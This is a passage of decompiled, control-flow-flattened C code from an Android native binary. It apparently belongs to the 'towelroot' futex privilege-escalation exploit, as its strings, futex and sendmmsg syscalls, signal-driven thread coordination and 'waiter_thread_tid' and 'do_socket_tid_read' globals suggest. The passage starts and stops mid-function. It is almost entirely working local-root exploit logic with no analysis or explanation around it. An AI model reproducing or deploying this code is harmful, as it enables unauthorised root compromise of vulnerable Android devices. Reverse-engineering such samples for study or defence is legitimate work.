v75 = -1;
v26 = v76 == 1550213081;
v76 = -1510328164;
if ( !v26 )
goto LABEL_501;
}
if ( v76 <= 1297895565 )
break;
if ( v76 != 1297895566 )
goto LABEL_501;
fread(
&v220,
1u,
0x1000u,
v153);
v78 = strstr((const char *)&v220, v178);
v75 = atoi(v78 + 25);
v76 = -1510328164;
}
if ( v76 != 134304844 )
break;
v76 = 1297895566;
if ( !v222 )
v76 = 1550213081;
}
if ( v76 != 665893174 )
break;
v76 = 200673134;
v223 = v75;
}
if ( v76 != 200673134 )
{
while ( 1 )
LABEL_501:
;
}
*(_DWORD *)v0[9] = v223;
*(_DWORD *)v179 = 1;
v10 = 183057156;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 334902093 )
LABEL_402:
v10 = 1229291284;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 330154359 )
LABEL_408:
v10 = 1491141973;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 311940052 )
{
v10 = v4;
if ( *((_BYTE *)v0 + 63) )
v10 = -938317265;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 270675626 )
LABEL_210:
v10 = 778127936;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 228749052 )
{
v68 = 1688761628;
v69 = *(_DWORD *)v182;
v70 = *(_DWORD *)v182 + 40;
v71 = *(_DWORD *)v182 + 32;
v151 = *(_DWORD *)v182 + 8;
v72 = v69;
while ( 1 )
{
v74 = v68;
if ( v68 == 812142990 )
break;
v68 = -480229266;
if ( v74 != 1688761628 )
{
if ( v74 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v72 - 4) = 129;
*(_DWORD *)v72 = v71;
*(_DWORD *)(v72 + 8) = v70;
*(_DWORD *)(v72 + 28) = 133;
v73 = v151;
*(_DWORD *)(v72 + 36) = v72;
*(_DWORD *)(v72 + 44) = v73;
v68 = 812142990;
}
}
*(_DWORD *)(*(_DWORD *)v181 + 36) = *(_DWORD *)v0[8] + 8;
sub_7690(12);
*(_DWORD *)v0[10] = *(_DWORD *)(*(_DWORD *)v181 + 36);
v10 = 588192939;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 226419517 )
v10 = 1775663917;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 187926727 )
v10 = -209519436;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 183057156 )
LABEL_433:
v10 = 546983125;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -58367389 )
v10 = 1691390263;
}
}
else
{
v5 = -1808228722;
if ( v10 == -74850550 )
v10 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -79839947 )
{
v67 = *v183;
v139 = 0;
v140 = 0;
v141 = 0;
syscall(240, v67, 6, 1);
v5 = -1808228722;
v6 = 2141699670;
v8 = 2133560833;
v9 = -1906617131;
v10 = -1808228722;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -119219075 )
{
v66 = *(_DWORD *)v184;
goto LABEL_185;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -209519436 )
LABEL_288:
v10 = -1318572317;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -225808799 )
{
_android_log_print(
4,
(char *)v187 + 0xFFFE1BCB,
v186,
-1808228722,
v143,
v144,
v145);
v60 = v0[14];
v61 = write(*(_DWORD *)v185, v0[14], 4096);
v6 = 2141699670;
v8 = 2133560833;
v5 = -1808228722;
*(_DWORD *)v0[1] = v61;
v10 = 1620415426;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -289155922 )
{
sleep(10);
v5 = -1808228722;
v6 = 2141699670;
v8 = 2133560833;
v9 = -1906617131;
goto LABEL_379;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -340826675 )
{
*(_DWORD *)v191 = malloc(4u);
pthread_mutex_init();
v46 = 1688761628;
v47 = **(_DWORD **)((char *)v192 + 0xFFFFFF90);
v48 = v47 + 40;
v49 = v47 + 32;
v151 = v47 + 8;
v50 = v47;
while ( 1 )
{
v57 = v46;
if ( v46 == 812142990 )
break;
v46 = -480229266;
if ( v57 != 1688761628 )
{
if ( v57 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v50 - 4) = 129;
*(_DWORD *)v50 = v49;
*(_DWORD *)(v50 + 8) = v48;
*(_DWORD *)(v50 + 28) = 133;
v56 = v151;
*(_DWORD *)(v50 + 36) = v50;
*(_DWORD *)(v50 + 44) = v56;
v46 = 812142990;
}
}
v62 = sub_7690(11);
v63 = v190;
*(_DWORD *)v0[7] = v62;
*(_DWORD *)v0[8] = (***(_DWORD ***)((char *)v63 + 0xFFFFFF90) ^ 0x1FFF) & ***(_DWORD ***)((char *)v63 + 0xFFFFFF90);
_android_log_print(
4,
(char *)v190 + 0xFFFE1BCB,
v189,
*(_DWORD *)v0[8],
v143,
v144,
v145);
v64 = *(int *)((char *)v190 + 0xFFFFFFBC);
*(_DWORD *)v188 = 0;
*(_DWORD *)v64 = 0;
v65 = *(_DWORD *)v0[7];
v151 = *(int *)((char *)v190 + 0xFFFFFFAC);
v150 = v65;
pthread_mutex_lock(v151);
kill(v150, 12);
pthread_cond_wait(*(int *)((char *)v190 + 0xFFFFFFB0), v151);
pthread_mutex_unlock(v151);
v10 = 1691390263;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -374329839 )
{
usleep(10);
v5 = -1808228722;
v6 = 2141699670;
v8 = 2133560833;
v9 = -1906617131;
goto LABEL_147;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -380872210 )
{
_android_log_print(
4,
(char *)v196 + 0xFFFE1BCB,
v195,
-1808228722,
v143,
v144,
v145);
v38 = 1688761628;
v39 = **(_DWORD **)((char *)v196 + 0xFFFFFF9C);
v40 = v39 + 32;
v41 = v39 + 40;
v151 = v39 + 8;
v42 = v39;
while ( 1 )
{
v45 = v38;
if ( v38 == 812142990 )
break;
v38 = -480229266;
if ( v45 != 1688761628 )
{
if ( v45 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v42 - 4) = 129;
*(_DWORD *)v42 = v40;
*(_DWORD *)(v42 + 8) = v41;
*(_DWORD *)(v42 + 28) = 133;
v44 = v151;
*(_DWORD *)(v42 + 36) = v42;
*(_DWORD *)(v42 + 44) = v44;
v38 = 812142990;
}
}
v51 = 1688761628;
v52 = *(_DWORD *)v194;
v53 = *(_DWORD *)v194 + 40;
v54 = *(_DWORD *)v194 + 32;
v151 = *(_DWORD *)v194 + 8;
v55 = v52;
while ( 1 )
{
v59 = v51;
if ( v51 == 812142990 )
break;
v51 = -480229266;
if ( v59 != 1688761628 )
{
if ( v59 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v55 - 4) = 129;
*(_DWORD *)v55 = v54;
*(_DWORD *)(v55 + 8) = v53;
*(_DWORD *)(v55 + 28) = 133;
v58 = v151;
*(_DWORD *)(v55 + 36) = v55;
*(_DWORD *)(v55 + 44) = v58;
v51 = 812142990;
}
}
*(_DWORD *)v0[3] = *(_DWORD *)v55;
*(_DWORD *)v0[4] = sub_7690(11);
v10 = 2106737173;
if ( **(_DWORD **)v193 == *(_DWORD *)v0[3] )
v10 = -1604560887;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -466607926 )
{
sprintf(
(char *)&v221,
(const char *)v199 + 0xFFFE1CC6,
**(_DWORD **)((char *)v199 + 0xFFFFFFB8),
-1808228722,
v143,
v144,
v145);
v35 = (signed int)fopen(
(const char *)&v221,
(const char *)v199 + 0xFFFE1CE0);
v36 = 134304844;
v222 = v35;
v153 = (FILE *)v35;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v36 <= 134304843 )
{
v26 = v36 == -1510328164;
v36 = 665893174;
if ( !v26 )
goto LABEL_497;
}
if ( v36 <= 1550213080 )
break;
v35 = -1;
v26 = v36 == 1550213081;
v36 = -1510328164;
if ( !v26 )
goto LABEL_497;
}
if ( v36 <= 1297895565 )
break;
if ( v36 != 1297895566 )
goto LABEL_497;
fread(&v220, 1u, 0x1000u, v153);
v43 = strstr((const char *)&v220, v197);
v35 = atoi(v43 + 25);
v36 = -1510328164;
}
if ( v36 != 134304844 )
break;
v36 = 1297895566;
if ( !v222 )
v36 = 1550213081;
}
if ( v36 != 665893174 )
break;
v36 = 200673134;
v223 = v35;
}
if ( v36 != 200673134 )
{
while ( 1 )
LABEL_497:
;
}
*(_DWORD *)v0[2] = v223;
*(_DWORD *)v198 = 1;
v10 = 1053938999;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -506989467 )
{
sprintf(
(char *)&v221,
(const char *)v202 + 0xFFFE1CC6,
*(_DWORD *)v0[7],
-1808228722,
v143,
v144,
v145);
v33 = (signed int)fopen(
(const char *)&v221,
(const char *)v202 + 0xFFFE1CE0);
v34 = 134304844;
v222 = v33;
v153 = (FILE *)v33;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v34 <= 134304843 )
{
v26 = v34 == -1510328164;
v34 = 665893174;
if ( !v26 )
goto LABEL_495;
}
if ( v34 <= 1550213080 )
break;
v33 = -1;
v26 = v34 == 1550213081;
v34 = -1510328164;
if ( !v26 )
goto LABEL_495;
}
if ( v34 <= 1297895565 )
break;
if ( v34 != 1297895566 )
goto LABEL_495;
fread(&v220, 1u, 0x1000u, v153);
v37 = strstr((const char *)&v220, v200);
v33 = atoi(v37 + 25);
v34 = -1510328164;
}
if ( v34 != 134304844 )
break;
v34 = 1297895566;
if ( !v222 )
v34 = 1550213081;
}
if ( v34 != 665893174 )
break;
v34 = 200673134;
v223 = v33;
}
if ( v34 != 200673134 )
{
while ( 1 )
LABEL_495:
;
}
*(_DWORD *)v0[9] = v223;
*(_DWORD *)v201 = 1;
v10 = 377318881;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -546239532 )
{
sub_7690(6);
sub_7690(7);
v28 = *(int **)((char *)v205 + 0xFFFFFFA0);
*(_DWORD *)*v28 = 0;
*(_DWORD *)v204 = 0;
*(_DWORD *)v203 = 0;
v29 = *v28;
v30 = *(_DWORD *)*v28;
v139 = 0;
v140 = v29;
v141 = v30;
v31 = syscall(240, v29, 12, 1);
v6 = 2141699670;
v8 = 2133560833;
v5 = -1808228722;
*(_DWORD *)v0[1] = v31;
goto LABEL_210;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -660755354 )
LABEL_264:
v10 = 474124530;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -874358361 )
{
sprintf((char *)&v221, v208, *(_DWORD *)v209, -1808228722, v143, v144, v145);
v24 = (signed int)fopen((const char *)&v221, v207);
v25 = 134304844;
v222 = v24;
v153 = (FILE *)v24;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v25 <= 134304843 )
{
v26 = v25 == -1510328164;
v25 = 665893174;
if ( !v26 )
goto LABEL_494;
}
if ( v25 <= 1550213080 )
break;
v24 = -1;
v26 = v25 == 1550213081;
v25 = -1510328164;
if ( !v26 )
goto LABEL_494;
}
if ( v25 <= 1297895565 )
break;
if ( v25 != 1297895566 )
goto LABEL_494;
fread(&v220, 1u, 0x1000u, v153);
v27 = strstr((const char *)&v220, v206);
v24 = atoi(v27 + 25);
v25 = -1510328164;
}
if ( v25 != 134304844 )
break;
v25 = 1297895566;
if ( !v222 )
v25 = 1550213081;
}
if ( v25 != 665893174 )
break;
v25 = 200673134;
v223 = v24;
}
if ( v25 != 200673134 )
{
while ( 1 )
LABEL_494:
;
}
v32 = v0[2];
v10 = 2000505561;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -930232672 )
v10 = -952162115;
}
}
else if ( v10 == -938317265 )
{
v21 = v7;
v22 = v3;
v23 = v5;
usleep(10);
v5 = v23;
v3 = v22;
v6 = 2141699670;
v7 = v21;
v8 = 2133560833;
v9 = -1906617131;
goto LABEL_332;
}
}
else if ( v10 == -952162115 )
{
goto LABEL_455;
}
}
else if ( v10 == -956359572 )
{
LABEL_185:
v10 = 1672960385;
}
}
else if ( v10 == -1073565832 )
{
v10 = -1691663690;
if ( *((_BYTE *)v0 + 61) )
v10 = 1626316963;
}
}
else if ( v10 == -1196015651 )
{
*(_DWORD *)v0[10] = 0;
v10 = 228749052;
if ( (*v210)[3] )
v10 = 966273893;
}
}
else if ( v10 == -1242965121 )
{
*(_DWORD *)v0[10] <<= 8;
v10 = -209519436;
if ( *(_DWORD *)v0[10] < 0xC0000000 )
v10 = 1735321709;
}
}
else if ( v10 == -1287756418 )
{
v17 = v8;
*v213 = (*(_DWORD *)v0[13] ^ 0x1FFF) & *(_DWORD *)v0[13];
v18 = v0[5];
v19 = v212;
v20 = *(_DWORD *)v18;
pthread_mutex_lock(v212);
kill(v20, 12);
pthread_cond_wait(v211, v19);
pthread_mutex_unlock(v19);
v5 = -1808228722;
v4 = -1828017780;
v10 = 1079106669;
v2 = -1808228723;
v8 = v17;
v1 = -1906617130;
v0 = &v219;
}
}
else if ( v10 == -1318572317 )
{
v10 = v6;
}
}
else if ( v10 == -1604560887 )
{
v15 = v5;
_android_log_print(4, v217, v216);
v8 = 2133560833;
v7 = -1716600560;
v9 = -1906617131;
v5 = v15;
v3 = -1947206001;
v16 = *(_DWORD *)v215;
v224 = v6;
*(_DWORD *)v214 = v16;
v10 = 2106737173;
v6 = v224;
}
}
else if ( v10 == -1650856873 )
{
LABEL_147:
v10 = 447444915;
}
}
else if ( v10 == -1691663690 )
{
v10 = -466607926;
}
}
else if ( v10 == -1697529350 )
{
goto LABEL_455;
}
}
else if ( v10 == -1699267298 )
{
v14 = v5;
sleep(10);
v8 = 2133560833;
v9 = -1906617131;
v10 = 334902093;
v7 = -1716600560;
v5 = v14;
v3 = -1947206001;
}
}
else if ( v10 == v7 )
{
v10 = -380872210;
if ( *((_BYTE *)v0 + 62) )
v10 = 673782705;
}
}
else if ( v10 == v5 )
{
*v0 = (int)&v141;
v0[1] = (int)&v141;
v0[2] = (int)&v141;
v0[3] = (int)&v141;
v0[4] = (int)&v141;
v0[5] = (int)&v141;
v0[6] = (int)&v141;
v0[7] = (int)&v141;
v0[8] = (int)&v141;
v0[9] = (int)&v141;
v0[10] = (int)&v141;
v0[11] = (int)&v141;
v0[12] = (int)&v141;
v0[13] = (int)&v141;
v0[14] = (int)(&v143 - 1024);
v11 = *v218;
v12 = v5;
v139 = 0;
v140 = 0;
v141 = 0;
v13 = syscall(240, v11, 6, 1);
v8 = 2133560833;
v9 = -1906617131;
v7 = -1716600560;
v5 = v12;
v3 = -1947206001;
*(_DWORD *)v0[1] = v13;
v10 = -1650856873;
}
}
else if ( v10 == v4 )
{
v10 = 377318881;
}
}
}
while ( v10 != v1 );
return *(_DWORD *)*v0;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F60: using guessed type int __fastcall mmap(_DWORD, _DWORD, _DWORD, _DWORD);
// F6C: using guessed type int __fastcall pthread_mutex_lock(_DWORD);
// F78: using guessed type int __fastcall pthread_cond_wait(_DWORD, _DWORD);
// FC0: using guessed type int __fastcall syscall(_DWORD, _DWORD, _DWORD, _DWORD);
// FCC: using guessed type int __fastcall kill(_DWORD, _DWORD);
// FD8: using guessed type int __fastcall pthread_mutex_unlock(_DWORD);
// FE4: using guessed type int __fastcall usleep(_DWORD);
// 1038: using guessed type int pthread_mutex_init(void);
// 1044: using guessed type int __fastcall write(_DWORD, _DWORD, _DWORD);
// 1050: using guessed type int __fastcall munmap(_DWORD, _DWORD);
// 2ACEC: using guessed type void *swag;
// 2ACF0: using guessed type void *swag2;
// 2ACF4: using guessed type void **ph;
// 2AD98: using guessed type int GLOBAL_OFFSET_TABLE_;

//----- (00005960) --------------------------------------------------------
int sub_5960()
{
signed int v0; // r5@1
signed int v1; // r6@1
signed int v2; // r9@1
signed int v3; // r4@1
signed int v4; // r3@1
signed int v5; // r8@1
signed int v6; // r2@1
signed int v7; // r10@1
signed int v8; // r12@1
unsigned int v9; // r0@1
signed int v10; // lr@1
signed int v11; // r8@31
signed int v12; // r6@31
signed int v13; // r9@31
signed int v14; // r10@31
signed int v15; // r5@31
signed int v16; // r4@39
signed int v17; // r6@39
signed int v18; // r9@39
signed int v19; // r10@39
signed int v20; // r5@39
void *v21; // r0@46
signed int v22; // r8@75
signed int v23; // r4@75
signed int v24; // r6@75
signed int v25; // r9@75
signed int v26; // r10@75
int v27; // r1@124
signed int v28; // r10@124
signed int v29; // r5@124
signed int v30; // r8@124
signed int v31; // r4@124
signed int v32; // r6@124
signed int v33; // r9@124
int v34; // r0@124
signed int v35; // r10@156
signed int v36; // r5@156
signed int v37; // r8@156
signed int v38; // r4@156
signed int v39; // r6@156
signed int v40; // r9@156
int v41; // r0@156
char v42; // r0@184
signed int v43; // r10@203
signed int v44; // r5@203
signed int v45; // r8@203
signed int v46; // r4@203
signed int v47; // r6@203
signed int v48; // r9@203
int v49; // r0@203
unsigned __int8 v50; // zf@203
unsigned __int8 v51; // nf@203
int v52; // r1@203
signed int v53; // r10@228
signed int v54; // r5@228
signed int v55; // r8@228
signed int v56; // r4@228
signed int v57; // r6@228
signed int v58; // r9@228
int v59; // r0@232
int v60; // r0@232
int v61; // r1@249
signed int v62; // r10@249
signed int v63; // r5@249
signed int v64; // r8@249
signed int v65; // r4@249
signed int v66; // r6@249
signed int v67; // r9@249
int v68; // r0@249
unsigned __int8 v69; // zf@249
unsigned __int8 v70; // nf@249
int v71; // r1@249
void *v72; // r1@267
signed int v73; // r10@267
void *v74; // ST04_4@267
signed int v75; // r5@267
signed int v76; // r8@267
signed int v77; // r4@267
signed int v78; // r6@267
signed int v79; // r9@267
char v80; // r0@270
signed int v81; // r12@318
int v82; // r3@318
int v83; // r0@318
signed int v84; // r10@327
signed int v85; // r5@327
signed int v86; // r8@327
signed int v87; // r4@327
signed int v88; // r6@327
signed int v89; // r9@327
char v90; // r0@330
int v91; // t1@343
int v93; // [sp+8h] [bp-A8h]@124
int v94; // [sp+Ch] [bp-A4h]@124
int v95; // [sp+10h] [bp-A0h]@232
int v96; // [sp+14h] [bp-9Ch]@72
int v97; // [sp+18h] [bp-98h]@1
void ***v98; // [sp+1Ch] [bp-94h]@1
int *v99; // [sp+20h] [bp-90h]@1
void ***v100; // [sp+24h] [bp-8Ch]@1
int v101; // [sp+28h] [bp-88h]@1
int *v102; // [sp+2Ch] [bp-84h]@1
int v103; // [sp+30h] [bp-80h]@1
int v104; // [sp+34h] [bp-7Ch]@1
void **v105; // [sp+38h] [bp-78h]@1
void **v106; // [sp+3Ch] [bp-74h]@1
int v107; // [sp+40h] [bp-70h]@1
void ***v108; // [sp+44h] [bp-6Ch]@1
int v109; // [sp+48h] [bp-68h]@1
const char *v110; // [sp+4Ch] [bp-64h]@1
int v111; // [sp+50h] [bp-60h]@1
int v112; // [sp+54h] [bp-5Ch]@1
void ***v113; // [sp+58h] [bp-58h]@1
char *v114; // [sp+5Ch] [bp-54h]@1
void ***v115; // [sp+60h] [bp-50h]@1
int v116; // [sp+64h] [bp-4Ch]@1
int *v117; // [sp+68h] [bp-48h]@140
int *v118; // [sp+6Ch] [bp-44h]@124
int *v119; // [sp+70h] [bp-40h]@72
int *v120; // [sp+74h] [bp-3Ch]@124
int v121; // [sp+78h] [bp-38h]@124
int *v122; // [sp+7Ch] [bp-34h]@156
int *v123; // [sp+80h] [bp-30h]@137
int *v124; // [sp+84h] [bp-2Ch]@72
char v125; // [sp+88h] [bp-28h]@98
char v126; // [sp+89h] [bp-27h]@147
char v127; // [sp+8Ah] [bp-26h]@48
char v128; // [sp+8Bh] [bp-25h]@90
int v129; // [sp+8Ch] [bp-24h]@140

v114 = "SOCKSHIT";
v0 = 1958633064;
v1 = 1924857696;
v113 = &ph;
v2 = 352503583;
v112 = (int)&MAGIC;
v110 = "EXIT WTF ";
v111 = (int)"towelroot";
v109 = (int)&MAGIC;
v3 = -895641900;
v108 = &ph;
v107 = (int)&waiter_thread_tid;
v105 = &swag2;
v106 = &swag;
v4 = -606985679;
v104 = (int)&do_socket_tid_read;
v5 = 471420065;
v103 = (int)&did_socket_tid_read;
v102 = &GLOBAL_OFFSET_TABLE_;
v101 = (int)&MAGIC_ALT;
v100 = &ph;
v99 = &GLOBAL_OFFSET_TABLE_;
v98 = &ph;
v6 = 1801770282;
v97 = (int)&did_socket_tid_read;
v7 = 1611667672;
v115 = &ph;
v8 = 1711583301;
v116 = (int)&waiter_thread_tid;
v9 = -46364808;
v10 = 1830166322;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( (signed int)v9 > 2113386873 )
{
if ( v9 == 2113386874 )
v9 = v3;
}
if ( (signed int)v9 <= v0 )
break;
if ( v9 == 1958633065 )
v9 = v4;
}
if ( (signed int)v9 <= v1 )
break;
if ( v9 == 1924857697 )
v9 = v2;
}
if ( (signed int)v9 <= 1830166321 )
break;
if ( v9 == v10 )
v9 = v5;
}
if ( (signed int)v9 <= 1801770281 )
break;
if ( v9 == v6 )
v9 = v3;
}
if ( (signed int)v9 <= 1711583300 )
break;
if ( v9 == v8 )
LABEL_221:
v9 = 684709879;
}
if ( (signed int)v9 <= 1611667671 )
break;
if ( v9 == v7 )
{
v11 = v1;
v12 = v2;
v13 = v4;
v14 = v8;
v15 = v6;
*(_DWORD *)v116 = syscall(224, 1611667671, v6, v4);
setpriority(0, 0, 12);
sub_7390();
v9 = 88228847;
v3 = -895641900;
v6 = v15;
v0 = 1958633064;
v8 = v14;
v7 = 1611667672;
v4 = v13;
v2 = v12;
v1 = v11;
v5 = 471420065;
}
}
if ( (signed int)v9 <= 1553720540 )
break;
if ( v9 == 1553720541 )
LABEL_76:
v9 = -63528078;
}
if ( (signed int)v9 > -2106962140 )
break;
if ( v9 == -2114967034 )
v9 = -1743918406;
}
if ( (signed int)v9 <= 1531809905 )
break;
if ( v9 == 1531809906 )
LABEL_229:
v9 = 1336748627;
}
if ( (signed int)v9 <= 1526829644 )
break;
if ( v9 == 1526829645 )
v9 = v10;
}
if ( (signed int)v9 <= 1511772232 )
break;
if ( v9 == 1511772233 )
{
v21 = (*v115)[1];
if ( v21 != (void *)1 )
LOBYTE(v21) = 0;
v127 = (char)v21;
v9 = -600519679;
}
}
if ( (signed int)v9 > -2104783999 )
break;
if ( v9 == -2106962139 )
{
v16 = v1;
v17 = v2;
v18 = v4;
v19 = v8;
v20 = v6;
perror(v114);
v9 = -1944808194;
v5 = 471420065;
v6 = v20;
v0 = 1958633064;
v8 = v19;
v7 = 1611667672;
v4 = v18;
v2 = v17;
v1 = v16;
v3 = -895641900;
}
}
if ( (signed int)v9 > -2091116319 )
break;
if ( v9 == -2104783998 )
LABEL_69:
v9 = 1511772233;
}
if ( (signed int)v9 > -2080061258 )
break;
if ( v9 == -2091116318 )
LABEL_95:
v9 = 156727847;
}
if ( (signed int)v9 > -2076657360 )
break;
if ( v9 == -2080061257 )
LABEL_291:
v9 = -67329568;
}
if ( (signed int)v9 > -2059739183 )
break;
if ( v9 == -2076657359 )
{
v9 = -1122665569;
if ( !(*v113)[2] )
v9 = -362246627;
}
}
if ( (signed int)v9 > -2013000336 )
break;
if ( v9 == -2059739182 )
v9 = 585450575;
}
if ( (signed int)v9 > -1975693759 )
break;
if ( v9 == -2013000335 )
goto LABEL_69;
}
if ( (signed int)v9 > -1944808195 )
break;
if ( v9 == -1975693758 )
{
v96 = *(_DWORD *)v112;
v124[*v119] = v96;
v10 = 1830166322;
v9 = -1553474460;
}
}
if ( (signed int)v9 > -1922763465 )
break;
if ( v9 == -1944808194 )
{
v22 = v3;
v23 = v1;
v24 = v2;
v25 = v4;
v26 = v8;
_android_log_print(4, v111, v110);
v6 = 1801770282;
v0 = 1958633064;
v8 = v26;
v7 = 1611667672;
v4 = v25;
v2 = v24;
v1 = v23;
v3 = v22;
v5 = 471420065;
goto LABEL_76;
}
}
if ( (signed int)v9 > -1916186443 )
break;
if ( v9 == -1922763464 )
v9 = -377732497;
}
if ( (signed int)v9 > -1847221508 )
break;
if ( v9 == -1916186442 )
v9 = 763967220;
}
if ( (signed int)v9 > -1821802462 )
break;
if ( v9 == -1847221507 )
LABEL_282:
v9 = -1272004046;
}
if ( (signed int)v9 > -1743918407 )
break;
if ( v9 == -1821802461 )
{
v9 = 873325447;
if ( v128 )
v9 = -313082236;
}
}
if ( (signed int)v9 > -1739896731 )
break;
if ( v9 == -1743918406 )
goto LABEL_95;
}
if ( (signed int)v9 > -1676803382 )
break;
if ( v9 == -1739896730 )
{
v9 = -116623177;
if ( v125 )
v9 = -2059739182;
}
}
if ( (signed int)v9 > -1581040932 )
break;
if ( v9 == -1676803381 )
{
v9 = -2076657359;
if ( *v119 < 32 )
v9 = -1975693758;
}
}
if ( (signed int)v9 > -1553474461 )
break;
if ( v9 == -1581040931 )
{
++*v119;
goto LABEL_214;
}
}
if ( (signed int)v9 > -1408402760 )
break;
if ( v9 == -1553474460 )
{
++*v119;
goto LABEL_242;
}
}
if ( (signed int)v9 > -1272004047 )
break;
if ( v9 == -1408402759 )
LABEL_321:
v9 = -850701990;
}
if ( (signed int)v9 > -1241056786 )
break;
if ( v9 == -1272004046 )
v9 = -2091116318;
}
if ( (signed int)v9 > -1237353609 )
break;
if ( v9 == -1241056785 )
{
*v119 = 0;
v9 = 824737539;
}
}
if ( (signed int)v9 > -1122665570 )
break;
if ( v9 == -1237353608 )
{
v27 = *v120;
v28 = v0;
v93 = 0;
v29 = v5;
v94 = 0;
v30 = v3;
v31 = v1;
v32 = v2;
v33 = v4;
v34 = syscall(365, v27, v121, 1);
v4 = v33;
v2 = v32;
v10 = 1830166322;
v1 = v31;
v6 = 1801770282;
v3 = v30;
v8 = 1711583301;
v5 = v29;
v0 = v28;
v7 = 1611667672;
*v118 = v34;
v9 = v4;
}
}
if ( (signed int)v9 > -1063687411 )
break;
if ( v9 == -1122665569 )
v9 = -1241056785;
}
if ( (signed int)v9 > -1056611560 )
break;
if ( v9 == -1063687410 )
LABEL_196:
v9 = 124382290;
}
if ( (signed int)v9 > -963311210 )
break;
if ( v9 == -1056611559 )
{
*v119 = 0;
v9 = 399300895;
}
}
if ( (signed int)v9 > -895641901 )
break;
if ( v9 == -963311209 )
{
v123[2 * *v119 + 1] = 16;
v123[2 * *v119] = *(_DWORD *)v109;
v10 = 1830166322;
v9 = -320862017;
}
}
if ( (signed int)v9 > -850701991 )
break;
if ( v9 == v3 )
{
v129 = *v117;
v9 = 1134159150;
}
}
if ( (signed int)v9 > -839360481 )
break;
if ( v9 == -850701990 )
v9 = 1958633065;
}
if ( (signed int)v9 > -810851279 )
break;
if ( v9 == -839360480 )
{
v9 = -449798502;
if ( v126 )
v9 = 1526829645;
}
}
if ( (signed int)v9 > -636767833 )
break;
if ( v9 == -810851278 )
v9 = 1531809906;
}
if ( (signed int)v9 > -606985680 )
break;
if ( v9 == -636767832 )
{
v35 = v0;
v36 = v5;
v37 = v3;
v38 = v1;
v39 = v2;
v40 = v4;
